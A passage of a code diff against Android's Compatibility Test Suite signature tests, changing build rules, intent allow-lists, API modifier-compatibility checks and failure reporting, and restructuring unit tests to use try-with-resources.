-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests sts
-include $(BUILD_SYSTEM)/base_rules.mk
-$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
-	@echo "Convert API file $$< -> $$@"
-	@mkdir -p $$(dir $$@)
-	$(hide) $(APICHECK_COMMAND) --compatible-output=no -convert2xmlnostrip $$< $$@
-endef
-
-$(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
-  $(if $(call math_is_number,$(ver)),\
-    $(if $(wildcard prebuilts/sdk/$(ver)/system/api/android.txt),\
-      $(eval $(call build_xml_api_file,system-$(ver).api,prebuilts/sdk/$(ver)/system/api/android.txt))\
-    )\
-  )\
-)
-
-$(foreach ver,$(call int_range_list,28,$(PLATFORM_SDK_VERSION)),\
-  $(foreach api_level,public system,\
-    $(foreach lib,$(filter-out android,$(filter-out %removed,$(filter-out %incompatibilities,\
-      $(basename $(notdir $(wildcard $(HISTORICAL_SDK_VERSIONS_ROOT)/$(ver)/$(api_level)/api/*.txt)))))),\
-        $(eval $(call build_xml_api_file,$(lib)-$(ver)-$(api_level).api,prebuilts/sdk/$(ver)/$(api_level)/api/$(lib).txt)) \
-    )\
-  )\
-)
diff --git a/tests/signature/intent-check/Android.bp b/tests/signature/intent-check/Android.bp
index b56996a..0cd1cd4 100644
--- a/tests/signature/intent-check/Android.bp
+++ b/tests/signature/intent-check/Android.bp
@@ -36,8 +36,10 @@
     sdk_version: "test_current",
 
     static_libs: [
+        // androidx.test.runner depends on android.test classes from this library.
+        "android.test.base-minus-junit",
+        "androidx.test.runner",
         "compatibility-device-util-axt",
-        "androidx.test.rules",
         "cts-signature-common",
     ],
 
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index bf721de..bb12c58 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -29,8 +29,7 @@
     Bug: 206897736 android.intent.action.MANAGE_PERMISSION_USAGE
     Bug: 206897736 android.intent.action.VIEW_APP_FEATURES
     Bug: 209528070 android.intent.action.APPLICATION_LOCALE_CHANGED
-    Bug: 234104089 android.intent.action.SAFETY_CENTER
-    Bug: 234104089 android.intent.action.VIEW_SAFETY_CENTER_QS
+    Bug: 218245704 android.intent.action.ACTION_PACKAGE_CHANGED (fixed in TTS 20220209)
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -48,7 +47,6 @@
       <value>android.intent.action.MANAGE_PERMISSION_USAGE</value>
       <value>android.intent.action.VIEW_APP_FEATURES</value>
       <value>android.intent.action.APPLICATION_LOCALE_CHANGED</value>
-      <value>android.intent.action.SAFETY_CENTER</value>
-      <value>android.intent.action.VIEW_SAFETY_CENTER_QS</value>
+      <value>android.intent.action.ACTION_PACKAGE_CHANGED</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
index 140dd6d..51b2ff0 100644
--- a/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
+++ b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
@@ -20,6 +20,7 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.net.URL;
+import java.util.Objects;
 import java.util.zip.ZipEntry;
 import java.util.zip.ZipFile;
 
@@ -55,6 +56,24 @@
 
     public abstract InputStream newInputStream() throws IOException;
 
+    /**
+     * Override as abstract to force sub-classes to implement it.
+     */
+    @Override
+    public abstract int hashCode();
+
+    /**
+     * Override as abstract to force sub-classes to implement it.
+     */
+    @Override
+    public abstract boolean equals(Object obj);
+
+    /**
+     * Override as abstract to force sub-classes to implement it.
+     */
+    @Override
+    public abstract String toString();
+
     public static class LocalFilePath extends VirtualPath {
         private final String path;
 
@@ -76,6 +95,23 @@
         }
 
         @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (o == null || getClass() != o.getClass()) {
+                return false;
+            }
+            LocalFilePath that = (LocalFilePath) o;
+            return path.equals(that.path);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(path);
+        }
+
+        @Override
         public String toString() {
             return path;
         }
@@ -98,6 +134,24 @@
         }
 
         @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (o == null || getClass() != o.getClass()) {
+                return false;
+            }
+            ZipEntryPath that = (ZipEntryPath) o;
+            return zip.getName().equals(that.zip.getName())
+                    && entry.getName().equals(that.entry.getName());
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(zip.getName(), entry.getName());
+        }
+
+        @Override
         public String toString() {
             return "zip:file:" + zip.getName() + "!/" + entry.getName();
         }
@@ -119,6 +173,23 @@
         }
 
         @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (o == null || getClass() != o.getClass()) {
+                return false;
+            }
+            ResourcePath that = (ResourcePath) o;
+            return url.equals(that.url);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(url);
+        }
+
+        @Override
         public String toString() {
             return url.toExternalForm();
         }
diff --git a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
index fe67157..d38e51e 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
@@ -31,23 +31,6 @@
  */
 public class ApiComplianceChecker extends ApiPresenceChecker {
 
-    /**
-     * A set of method signatures whose abstract modifier should be ignored.
-     *
-     * <p>If a class is not intended to be created or extended by application developers and all
-     * instances are created and supplied by Android itself then the abstract modifier has no
-     * impact on runtime compatibility.
-     */
-    private static final Set<String> IGNORE_METHOD_ABSTRACT_MODIFIER_WHITE_LIST = new HashSet<>();
-    static {
-        // This method was previously abstract and is now not abstract. As the
-        // CtsSystemApiSignatureTestCases package tests both the old and new specifications, with
-        // and without the abstract modifier this needs to ignore the abstract modifier.
-        IGNORE_METHOD_ABSTRACT_MODIFIER_WHITE_LIST.add(
-                "public int android.service.euicc.EuiccService.onDownloadSubscription("
-                        + "int,android.telephony.euicc.DownloadableSubscription,boolean,boolean)");
-    }
-
     /** Indicates that the class is an annotation. */
     private static final int CLASS_MODIFIER_ANNOTATION = 0x00002000;
 
@@ -120,21 +103,89 @@
     }
 
     /**
-     * Check if it is allowed that a class is in previous system Api and changed to abstract class
-     * in current API.
+     * Check if the class definition is from a previous API and was neither instantiable nor
+     * extensible through that API.
+     *
+     * <p>Such a class is more flexible in how it can be modified than other classes as there is
+     * no way to either create or extend the class.</p>
+     *
+     * <p>A class that has no constructors in the API cannot be instantiated or extended. Such a
+     * class has a lot more flexibility when it comes to making forwards compatible changes than
+     * other classes. e.g. Normally, a non-final class cannot be made final as that would break any
+     * code that extended the class but if there are no constructors in the API then it is
+     * impossible to extend it through the API so making it final is forwards compatible.</p>
+     *
+     * <p>Similarly, a concrete class cannot normally be made abstract as that would break any code
+     * that attempted to instantiate it but if there are no constructors in the API then it is
+     * impossible to instantiate it so making it abstract is forwards compatible.</p>
+     *
+     * <p>Finally, a non-static class cannot normally be made static (or vice versa) as that would
+     * break any code that attemped to instantiate it but if there are no constructors in the API
+     * then it is impossible to instantiate so changing the static flag is forwards compatible.</p>
+     *
+     * <p>In a similar fashion the abstract and final (but not static) modifier can be added to a
+     * method on this type of class.</p>
+     *
+     * <p>In this case forwards compatible is restricted to compile time and runtime behavior. It
+     * does not cover testing. e.g. making a class that was previously non-final could break tests
+     * that relied on mocking that class. However, that is a non-standard use of the API and so we
+     * are not strictly required to maintain compatibility in that case. It should also only be a
+     * minor issue as most mocking libraries support mocking final classes now.</p>
+     *
      * @param classDescription a description of a class in an API.
-     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
-     * @return true if the change is allowed.
      */
-    private static boolean isAllowedClassAbstractionFromPreviousSystemApi(
-            JDiffClassDescription classDescription, Class<?> runtimeClass) {
-        // Allow a class that was previously final and had no visible constructors,
-        // (so could not be instantiated or extended) to be changed to an abstract class.
+    private static boolean classIsNotInstantiableOrExtensibleInPreviousApi(
+            JDiffClassDescription classDescription) {
         return classDescription.getConstructors().isEmpty()
-                && (classDescription.getModifier() & Modifier.FINAL) != 0
-                && (classDescription.getModifier() & Modifier.ABSTRACT) == 0
-                && classDescription.isPreviousApi()
-                && (runtimeClass.getModifiers() & Modifier.ABSTRACT) != 0;
+                && classDescription.isPreviousApi();
+    }
+
+    /**
+     * If a modifier (final or abstract) has been removed since the previous API was published then
+     * it is forwards compatible so clear the modifier flag in the previous API modifiers so that it
+     * does not cause a mismatch.
+     *
+     * @param previousModifiers The set of modifiers for the previous API.
+     * @param currentModifiers The set of modifiers for the current implementation class.
+     * @return the normalized previous modifiers.
+     */
+    private static int normalizePreviousModifiersIfModifierIsRemoved(
+            int previousModifiers, int currentModifiers, int... flags) {
+        for (int flag : flags) {
+            // If the flag was present in the previous API but is no longer present then the
+            // modifier has been removed.
+            if ((previousModifiers & flag) != 0 && (currentModifiers & flag) == 0) {
+                previousModifiers &= ~flag;
+            }
+        }
+
+        return previousModifiers;
+    }
+
+    /**
+     * If a modifier (final or abstract) has been added since the previous API was published then
+     * this treats it as forwards compatible and clears the modifier flag in the current API
+     * modifiers so that it does not cause a mismatch.
+     *
+     * <p>This must only be called when adding one of the supplied modifiers is forwards compatible,
+     * e.g. when called on a class or methods from a class that returns true for
+     * {@link #classIsNotInstantiableOrExtensibleInPreviousApi(JDiffClassDescription)}.</p>
+     *
+     * @param previousModifiers The set of modifiers for the previous API.
+     * @param currentModifiers The set of modifiers for the current implementation class.
+     * @return the normalized current modifiers.
+     */
+    private static int normalizeCurrentModifiersIfModifierIsAdded(
+            int previousModifiers, int currentModifiers, int... flags) {
+        for (int flag : flags) {
+            // If the flag was not present in the previous API but is present then the modifier has
+            // been added.
+            if ((previousModifiers & flag) == 0 && (currentModifiers & flag) != 0) {
+                currentModifiers &= ~flag;
+            }
+        }
+
+        return currentModifiers;
     }
 
     /**
@@ -149,22 +200,11 @@
         int reflectionModifiers = runtimeClass.getModifiers();
         int apiModifiers = classDescription.getModifier();
 
-        // If the api class isn't abstract
-        if (((apiModifiers & Modifier.ABSTRACT) == 0) &&
-                // but the reflected class is
-                ((reflectionModifiers & Modifier.ABSTRACT) != 0) &&
-                // interfaces are implicitly abstract (JLS 9.1.1.1)
-                classDescription.getClassType() != JDiffClassDescription.JDiffType.INTERFACE &&
-                // and it isn't an enum
-                !classDescription.isEnumType() &&
-                // and it isn't allowed previous api final class with no visible ctor
-                !isAllowedClassAbstractionFromPreviousSystemApi(classDescription, runtimeClass)) {
-            // that is a problem
-            return "description is abstract but class is not and is not an enum";
+        // If the api class is an interface then always treat it as abstract.
+        // interfaces are implicitly abstract (JLS 9.1.1.1)
+        if (classDescription.getClassType() == JDiffClassDescription.JDiffType.INTERFACE) {
+            apiModifiers |= Modifier.ABSTRACT;
         }
-        // ABSTRACT check passed, so mask off ABSTRACT
-        reflectionModifiers &= ~Modifier.ABSTRACT;
-        apiModifiers &= ~Modifier.ABSTRACT;
 
         if (classDescription.isAnnotation()) {
             reflectionModifiers &= ~CLASS_MODIFIER_ANNOTATION;
@@ -179,21 +219,32 @@
             // override a method from the class cannot be marked as final because those constants
             // are represented as a subclass. As enum classes cannot be extended (except for its own
             // constants) there is no benefit in checking final modifier so just ignore them.
-            reflectionModifiers &= ~Modifier.FINAL;
-            apiModifiers &= ~Modifier.FINAL;
+            //
+            // Ditto for abstract.
+            reflectionModifiers &= ~(Modifier.FINAL | Modifier.ABSTRACT);
+            apiModifiers &= ~(Modifier.FINAL | Modifier.ABSTRACT);
         }
 
-        // Allow previous final API to be changed to abstract or static, and other modifiers should
-        // not be changed.
-        boolean isAllowedPreviousApiModifierChange =
-                isAllowedClassAbstractionFromPreviousSystemApi(classDescription, runtimeClass)
-                && (apiModifiers & ~Modifier.FINAL) != 0
-                && (reflectionModifiers & ~(Modifier.ABSTRACT | Modifier.STATIC))
-                == (apiModifiers & ~Modifier.FINAL);
+        if (classDescription.isPreviousApi()) {
+            // If the final and/or abstract modifiers have been removed since the previous API was
+            // published then that is forwards compatible so remove the modifier in the previous API
+            // modifiers so they match the runtime modifiers.
+            apiModifiers = normalizePreviousModifiersIfModifierIsRemoved(
+                    apiModifiers, reflectionModifiers, Modifier.FINAL, Modifier.ABSTRACT);
+
+            if (classIsNotInstantiableOrExtensibleInPreviousApi(classDescription)) {
+                // Adding the final, abstract or static flags to the runtime class is forwards
+                // compatible as the class cannot be instantiated or extended. Clear the flags for
+                // any such added modifier from the current implementation's modifiers so that it
+                // does not cause a mismatch.
+                reflectionModifiers = normalizeCurrentModifiersIfModifierIsAdded(
+                        apiModifiers, reflectionModifiers,
+                        Modifier.FINAL, Modifier.ABSTRACT, Modifier.STATIC);
+            }
+        }
 
         if ((reflectionModifiers == apiModifiers)
-                && (classDescription.isEnumType() == runtimeClass.isEnum())
-                || isAllowedPreviousApiModifierChange) {
+                && (classDescription.isEnumType() == runtimeClass.isEnum())) {
             return null;
         } else {
             return String.format("modifier mismatch - description (%s), class (%s)",
@@ -473,16 +524,6 @@
     @Override
     protected void checkMethod(JDiffClassDescription classDescription, Class<?> runtimeClass,
             JDiffClassDescription.JDiffMethod methodDescription, Method method) {
-        if (method.isVarArgs()) {
-            methodDescription.mModifier |= METHOD_MODIFIER_VAR_ARGS;
-        }
-        if (method.isBridge()) {
-            methodDescription.mModifier |= METHOD_MODIFIER_BRIDGE;
-        }
-        if (method.isSynthetic()) {
-            methodDescription.mModifier |= METHOD_MODIFIER_SYNTHETIC;
-        }
-
         // FIXME: A workaround to fix the final mismatch on enumeration
         if (runtimeClass.isEnum() && methodDescription.mName.equals("values")) {
             return;
@@ -491,12 +532,6 @@
         String reason;
         if ((reason = areMethodsModifierCompatible(
                 classDescription, methodDescription, method)) != null) {
-            // Allow previous API method to be changed to abstract
-            if (isAllowedClassAbstractionFromPreviousSystemApi(classDescription, runtimeClass)
-                    && (method.getModifiers() & ~(Modifier.ABSTRACT))
-                    == methodDescription.mModifier) {
-                return;
-            }
             resultObserver.notifyFailure(FailureType.MISMATCH_METHOD,
                     methodDescription.toReadableString(classDescription.getAbsoluteClassName()),
                     String.format("Non-compatible method found when looking for %s - because %s",
@@ -520,17 +555,15 @@
             JDiffClassDescription.JDiffMethod apiMethod,
             Method reflectedMethod) {
 
-        // Mask off NATIVE since it is a don't care.  Also mask off
-        // SYNCHRONIZED since it is not considered API significant (b/112626813)
-        int ignoredMods = (Modifier.NATIVE | Modifier.SYNCHRONIZED | Modifier.STRICT);
+        // Mask off NATIVE since it is a don't care.
+        // Mask off SYNCHRONIZED since it is not considered API significant (b/112626813)
+        // Mask off STRICT as it has no effect (b/26082535)
+        // Mask off SYNTHETIC, VARARGS and BRIDGE as they are not represented in the API.
+        int ignoredMods = (Modifier.NATIVE | Modifier.SYNCHRONIZED | Modifier.STRICT |
+                METHOD_MODIFIER_SYNTHETIC | METHOD_MODIFIER_VAR_ARGS | METHOD_MODIFIER_BRIDGE);
         int reflectionModifiers = reflectedMethod.getModifiers() & ~ignoredMods;
         int apiModifiers = apiMethod.mModifier & ~ignoredMods;
 
-        // A method can become non-abstract
-        if ((reflectionModifiers & Modifier.ABSTRACT) == 0) {
-            apiModifiers &= ~Modifier.ABSTRACT;
-        }
-
         // We can ignore FINAL for classes
         if ((classDescription.getModifier() & Modifier.FINAL) != 0) {
             reflectionModifiers &= ~Modifier.FINAL;
@@ -538,9 +571,21 @@
         }
 
         String genericString = reflectedMethod.toGenericString();
-        if (IGNORE_METHOD_ABSTRACT_MODIFIER_WHITE_LIST.contains(genericString)) {
-            reflectionModifiers &= ~Modifier.ABSTRACT;
-            apiModifiers &= ~Modifier.ABSTRACT;
+        if (classDescription.isPreviousApi()) {
+            // If the final and/or abstract modifiers have been removed since the previous API was
+            // published then that is forwards compatible so remove the modifier in the previous API
+            // modifiers so they match the runtime modifiers.
+            apiModifiers = normalizePreviousModifiersIfModifierIsRemoved(
+                    apiModifiers, reflectionModifiers, Modifier.FINAL, Modifier.ABSTRACT);
+
+            if (classIsNotInstantiableOrExtensibleInPreviousApi(classDescription)) {
+                // Adding the final, or abstract flags to the runtime method is forwards compatible
+                // as the class cannot be instantiated or extended. Clear the flags for any such
+                // added modifier from the current implementation's modifiers so that it does not
+                // cause a mismatch.
+                reflectionModifiers = normalizeCurrentModifiersIfModifierIsAdded(
+                        apiModifiers, reflectionModifiers, Modifier.FINAL, Modifier.ABSTRACT);
+            }
         }
 
         if (reflectionModifiers == apiModifiers) {
diff --git a/tests/signature/lib/common/src/android/signature/cts/ApiPresenceChecker.java b/tests/signature/lib/common/src/android/signature/cts/ApiPresenceChecker.java
index 743fd5a..09200d5 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ApiPresenceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ApiPresenceChecker.java
@@ -30,7 +30,7 @@
  */
 public class ApiPresenceChecker {
 
-    final ResultObserver resultObserver;
+    protected final ResultObserver resultObserver;
 
     final ClassProvider classProvider;
 
@@ -76,12 +76,12 @@
             }
 
             return runtimeClass;
-        } catch (Exception e) {
-            LogHelper.loge("Got exception when checking class compliance", e);
+        } catch (Error|Exception e) {
             resultObserver.notifyFailure(
                     FailureType.CAUGHT_EXCEPTION,
                     classDescription.getAbsoluteClassName(),
-                    "Exception while checking class compliance!");
+                    "Exception while checking class compliance!",
+                    e);
             return null;
         }
     }
@@ -123,12 +123,12 @@
                 } else {
                     checkField(classDescription, runtimeClass, field, f);
                 }
-            } catch (Exception e) {
-                LogHelper.loge("Got exception when checking field compliance", e);
+            } catch (Error|Exception e) {
                 resultObserver.notifyFailure(
                         FailureType.CAUGHT_EXCEPTION,
                         field.toReadableString(classDescription.getAbsoluteClassName()),
-                        "Exception while checking field compliance");
+                        "Exception while checking field compliance",
+                        e);
             }
         }
     }
@@ -201,11 +201,12 @@
                 } else {
                     checkConstructor(classDescription, runtimeClass, con, c);
                 }
-            } catch (Exception e) {
-                LogHelper.loge("Got exception when checking constructor compliance", e);
-                resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
+            } catch (Error|Exception e) {
+                resultObserver.notifyFailure(
+                        FailureType.CAUGHT_EXCEPTION,
                         con.toReadableString(classDescription.getAbsoluteClassName()),
-                        "Exception while checking constructor compliance!");
+                        "Exception while checking constructor compliance!",
+                        e);
             }
         }
     }
@@ -245,11 +246,12 @@
                 }
                 // Clear the list.
                 mismatchReasons.clear();
-            } catch (Exception e) {
-                LogHelper.loge("Got exception when checking method compliance", e);
-                resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
+            } catch (Error|Exception e) {
+                resultObserver.notifyFailure(
+                        FailureType.CAUGHT_EXCEPTION,
                         method.toReadableString(classDescription.getAbsoluteClassName()),
-                        "Exception while checking method compliance!");
+                        "Exception while checking method compliance!",
+                        e);
             }
         }
     }
diff --git a/tests/signature/lib/common/src/android/signature/cts/ExpectedFailuresFilter.java b/tests/signature/lib/common/src/android/signature/cts/ExpectedFailuresFilter.java
index adf045b..1f9fce1 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ExpectedFailuresFilter.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ExpectedFailuresFilter.java
@@ -48,12 +48,12 @@
     }
 
     @Override
-    public void notifyFailure(FailureType type, String name, String errorMessage) {
+    public void notifyFailure(FailureType type, String name, String errorMessage, Throwable throwable) {
         String key = type.toString().toLowerCase() + ":" + name;
         if (expected.contains(key)) {
             return;
         }
 
-        delegate.notifyFailure(type, name, errorMessage);
+        delegate.notifyFailure(type, name, errorMessage, throwable);
     }
 }
diff --git a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
index e0da595..b54bfb9 100644
--- a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
@@ -20,7 +20,6 @@
 import java.util.ArrayList;
 import java.util.Comparator;
 import java.util.HashSet;
-import java.util.LinkedHashMap;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -77,6 +76,12 @@
         HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract boolean android.view.WindowInsetsController.isRequestedVisible(int)");
         HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.WindowInsetsController.setAnimationsDisabled(boolean)");
         HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethod.hideSoftInputWithToken(int,android.os.ResultReceiver,android.os.IBinder)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract boolean android.view.WindowInsetsAnimationController.hasZeroInsetsIme()");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.WindowInsetsController.setCaptionInsetsHeight(int)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethod.setCurrentHideInputToken(android.os.IBinder)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethod.setCurrentShowInputToken(android.os.IBinder)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethodSession.notifyImeHidden()");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethodSession.removeImeSurface()");
     }
 
     private final ResultObserver resultObserver;
@@ -95,6 +100,14 @@
         for (Map.Entry<Class<?>, JDiffClassDescription> entry : class2Description.entrySet()) {
             Class<?> runtimeClass = entry.getKey();
             JDiffClassDescription classDescription = entry.getValue();
+            if (classDescription.isPreviousApi()) {
+                // Skip the interface method check as it provides no value. If the runtime interface
+                // contains additional methods that are not present in a previous API then either
+                // the methods have been added in a later API (in which case it is ok), or it will
+                // be caught when comparing against the current API.
+                continue;
+            }
+
             List<Method> methods = checkInterfaceMethodCompliance(classDescription, runtimeClass);
             if (methods.size() > 0) {
                 resultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE_METHOD,
@@ -130,9 +143,8 @@
     }
 
     private boolean findMethod(JDiffClassDescription classDescription, Method method) {
-        Map<Method, String> matchNameNotSignature = new LinkedHashMap<>();
         for (JDiffClassDescription.JDiffMethod jdiffMethod : classDescription.getMethods()) {
-            if (ReflectionHelper.matchesSignature(jdiffMethod, method, matchNameNotSignature)) {
+            if (ReflectionHelper.matches(jdiffMethod, method)) {
                 return true;
             }
         }
@@ -159,7 +171,6 @@
 
 
     void queueForDeferredCheck(JDiffClassDescription classDescription, Class<?> runtimeClass) {
-
         JDiffClassDescription existingDescription = class2Description.get(runtimeClass);
         if (existingDescription != null) {
             for (JDiffClassDescription.JDiffMethod method : classDescription.getMethods()) {
diff --git a/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
index 7c590e1..ab66aa8 100644
--- a/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
+++ b/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
@@ -516,7 +516,7 @@
      *
      * @param extendsClass the class being extended.
      */
-    void setExtendsClass(String extendsClass) {
+    public void setExtendsClass(String extendsClass) {
         mExtendedClass = extendsClass;
     }
 
diff --git a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
index 693e27e..e6d721a 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
@@ -31,6 +31,7 @@
 import java.lang.reflect.WildcardType;
 import java.util.ArrayList;
 import java.util.Collections;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
@@ -284,6 +285,24 @@
      *
      * @param jDiffMethod the jDiffMethod to compare
      * @param reflectedMethod the reflected method to compare
+     * @return true, if both methods are the same
+     */
+    static boolean matches(JDiffClassDescription.JDiffMethod jDiffMethod,
+            Method reflectedMethod) {
+        // If the method names aren't equal, the methods can't match.
+        if (!jDiffMethod.mName.equals(reflectedMethod.getName())) {
+            return false;
+        }
+
+        Map<Method, String> ignoredReasons = new HashMap<>();
+        return matchesSignature(jDiffMethod, reflectedMethod, ignoredReasons);
+    }
+
+    /**
+     * Checks if the two types of methods are the same.
+     *
+     * @param jDiffMethod the jDiffMethod to compare
+     * @param reflectedMethod the reflected method to compare
      * @param mismatchReasons map from method to reason it did not match, used when reporting
      *     missing methods.
      * @return true, if both methods are the same
diff --git a/tests/signature/lib/common/src/android/signature/cts/ResultObserver.java b/tests/signature/lib/common/src/android/signature/cts/ResultObserver.java
index 33234e9..2a07c37 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ResultObserver.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ResultObserver.java
@@ -26,6 +26,15 @@
      * @param name Name of the failed element (interface/class/method/field)
      * @param errorMessage a descriptive message indicating why it failed.
      */
-    void notifyFailure(FailureType type, String name, String errorMessage);
+    default void notifyFailure(FailureType type, String name, String errorMessage) {
+        notifyFailure(type, name, errorMessage, null);
+    }
 
+    /**
+     * Notify failure with throwable.
+     * @param type Failure type.
+     * @param name Name of the failed element (interface/class/method/field)
+     * @param errorMessage a descriptive message indicating why it failed.
+     */
+    void notifyFailure(FailureType type, String name, String errorMessage, Throwable throwable);
 }
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
index fe7e58e..0e525d0 100755
--- a/tests/signature/runSignatureTests.sh
+++ b/tests/signature/runSignatureTests.sh
@@ -17,7 +17,8 @@
 CtsSystemApiSignatureTestCases
 CtsAndroidTestMockCurrentApiSignatureTestCases
 CtsAndroidTestRunnerCurrentApiSignatureTestCases
-CtsAndroidTestBase28ApiSignatureTestCases
+CtsAndroidTestBase29ApiSignatureTestCases
+CtsAndroidTestBaseUsesLibraryApiSignatureTestCases
 CtsAndroidTestBaseCurrentApiSignatureTestCases
 
 CtsApacheHttpLegacy27ApiSignatureTestCases
diff --git a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
index 13b5fd9..aa0da74 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
@@ -83,29 +83,29 @@
      */
     @Test
     public void testDetectUnauthorizedConstructorApi() {
-        ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_CONSTRUCTOR);
+        try (ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_CONSTRUCTOR)) {
+            JDiffClassDescription clz = createClass("SystemApiClass");
+            // (omitted) addConstructor(clz);
+            addPublicVoidMethod(clz, "apiMethod");
+            addPublicBooleanField(clz, "apiField");
 
-        JDiffClassDescription clz = createClass("SystemApiClass");
-        // (omitted) addConstructor(clz);
-        addPublicVoidMethod(clz, "apiMethod");
-        addPublicBooleanField(clz, "apiField");
+            checkSignatureCompliance(clz, observer,
+                    "android.signature.cts.tests.data.PublicApiClass",
+                    "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+        }
 
-        checkSignatureCompliance(clz, observer,
-                "android.signature.cts.tests.data.PublicApiClass",
-                "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
-        observer.validate();
+        try (ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_CONSTRUCTOR)) {
+            JDiffClassDescription clz = createClass("PublicApiClass");
 
-        observer = new ExpectFailure(FailureType.EXTRA_CONSTRUCTOR);
+            // (omitted) addConstructor(clz);
+            addPublicVoidMethod(clz, "apiMethod");
 
-        clz = createClass("PublicApiClass");
-        // (omitted) addConstructor(clz);
-        addPublicVoidMethod(clz, "apiMethod");
-        addPublicBooleanField(clz, "apiField");
+            addPublicBooleanField(clz, "apiField");
 
-        checkSignatureCompliance(clz, observer,
+            checkSignatureCompliance(clz, observer,
                 "android.signature.cts.tests.data.SystemApiClass",
-                "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
-        observer.validate();
+                        "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+        }
     }
 
     /**
@@ -113,29 +113,27 @@
      */
     @Test
     public void testDetectUnauthorizedMethodApi() {
-        ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_METHOD);
+        try (ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_METHOD)) {
+            JDiffClassDescription clz = createClass("SystemApiClass");
+            addConstructor(clz);
+            // (omitted) addPublicVoidMethod(clz, "apiMethod");
+            addPublicBooleanField(clz, "apiField");
 
-        JDiffClassDescription clz = createClass("SystemApiClass");
-        addConstructor(clz);
-        // (omitted) addPublicVoidMethod(clz, "apiMethod");
-        addPublicBooleanField(clz, "apiField");
+            checkSignatureCompliance(clz, observer,
+                    "android.signature.cts.tests.data.PublicApiClass",
+                    "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
+        }
 
-        checkSignatureCompliance(clz, observer,
-                "android.signature.cts.tests.data.PublicApiClass",
-                "android.signature.cts.tests.data.ForciblyPublicizedPrivateClass");
-        observer.validate();
+        try (ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_METHOD)) {
+            JDiffClassDescription clz = createClass("PublicApiClass");
+            addConstructor(clz);
+            // (omitted) addPublicVoidMethod(clz, "apiMethod");
+            addPublicBooleanField(clz, "apiField");
 
-        observer = new ExpectFailure(FailureType.EXTRA_METHOD);
-
